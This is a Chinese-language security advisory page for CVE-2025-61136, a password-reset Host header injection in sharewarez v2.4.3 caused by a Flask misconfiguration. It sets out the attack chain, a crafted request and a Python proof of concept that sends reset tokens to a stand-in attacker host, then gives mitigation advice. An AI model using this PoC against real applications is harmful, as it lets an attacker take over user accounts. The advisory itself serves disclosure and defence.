IPBUF安全漏洞报告
English
CVE-2025-61136 CVSS 7.1 高危

CVE-2025-61136 axewater sharewarez v2.4.3 密码重置主机头注入漏洞

披露日期: 2025-10-23

漏洞信息

漏洞编号
CVE-2025-61136
漏洞类型
主机头注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
axewater sharewarez v2.4.3

相关标签

主机头注入密码重置投毒账户接管FlaskHost Header InjectionPassword Reset PoisoningsharewarezCVE-2025-61136Web安全身份认证绕过

漏洞概述

CVE-2025-61136是存在于axewater sharewarez v2.4.3版本密码重置组件中的高危安全漏洞,CVSS评分7.1。该漏洞属于主机头注入(Host Header Injection)类型,攻击者可利用此漏洞进行密码重置投毒攻击(Password Reset Poisoning),最终实现账户完全接管。由于Flask应用在生成密码重置链接时使用了url_for(_external=True)函数,但未配置固定的SERVER_NAME,导致应用会直接使用HTTP请求中的Host头值来构建重置URL。攻击者通过构造恶意的Host头,可以使密码重置邮件中的链接指向攻击者控制的恶意服务器,从而窃取有效的密码重置令牌。成功利用此漏洞无需特殊权限,仅需诱导受害者点击特制的链接即可完成账户劫持。

技术细节

该漏洞的根本原因在于Flask应用配置不当。当应用未设置固定的SERVER_NAME时,Flask的url_for(_external=True)函数会动态使用HTTP请求中Host头的值来生成绝对URL。在密码重置功能实现中(modules/routes_login.py L188-L217),应用通过SMTP发送包含重置链接的邮件(modules/utils_smtp.py L191-L206)。攻击者构造如下请求:POST /forgot-password HTTP/1.1 Host: attacker-controlled-server.com ... [email protected] Flask应用会使用attacker-controlled-server.com生成重置链接并发送邮件。当受害者点击邮件中的链接时,重置令牌会被发送到攻击者服务器。攻击者获取令牌后即可重置受害者密码,完成账户接管。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用(axewater sharewarez v2.4.3)的密码重置端点,通常位于/forgot-password路由
STEP 2
步骤2
攻击者向密码重置端点发送POST请求,在HTTP头中注入恶意的Host值指向攻击者控制的服务器
STEP 3
步骤3
Flask应用未配置SERVER_NAME,使用请求中的Host头通过url_for(_external=True)生成密码重置链接
STEP 4
步骤4
应用通过SMTP发送包含恶意链接的密码重置邮件给目标用户([email protected]
STEP 5
步骤5
受害者收到邮件并点击链接,密码重置令牌被发送到攻击者控制的服务器
STEP 6
步骤6
攻击者获取有效的密码重置令牌,构造重置请求完成密码修改,实现账户完全接管

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-61136 Password Reset Poisoning PoC # Target: axewater sharewarez v2.4.3 target_url = "http://target-server.com" attacker_server = "http://attacker-controlled-server.com" victim_email = "[email protected]" # Step 1: Send password reset request with malicious Host header endpoint = f"{target_url}/forgot-password" headers = { "Host": "attacker-controlled-server.com", # Malicious Host header "Content-Type": "application/x-www-form-urlencoded" } payload = {"email": victim_email} response = requests.post(endpoint, data=payload, headers=headers) print(f"[*] Password reset request sent to {victim_email}") print(f"[*] Response status: {response.status_code}") # Step 2: Attacker receives the reset link on their server # The victim will receive an email with a link like: # http://attacker-controlled-server.com/reset-password?token=XXX # Step 3: Once attacker captures the token, they can reset the password reset_endpoint = f"http://attacker-controlled-server.com/reset-password" print(f"[*] Attacker should set up listener on {reset_endpoint}")

影响范围

axewater sharewarez v2.4.3

防御指南

临时缓解措施
立即在Flask应用配置中添加固定的SERVER_NAME(如app.config['SERVER_NAME'] = 'yourdomain.com'),或在生成密码重置链接时使用硬编码的域名替代url_for(_external=True)。建议同时实施重置令牌的校验机制,增加账户安全验证步骤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表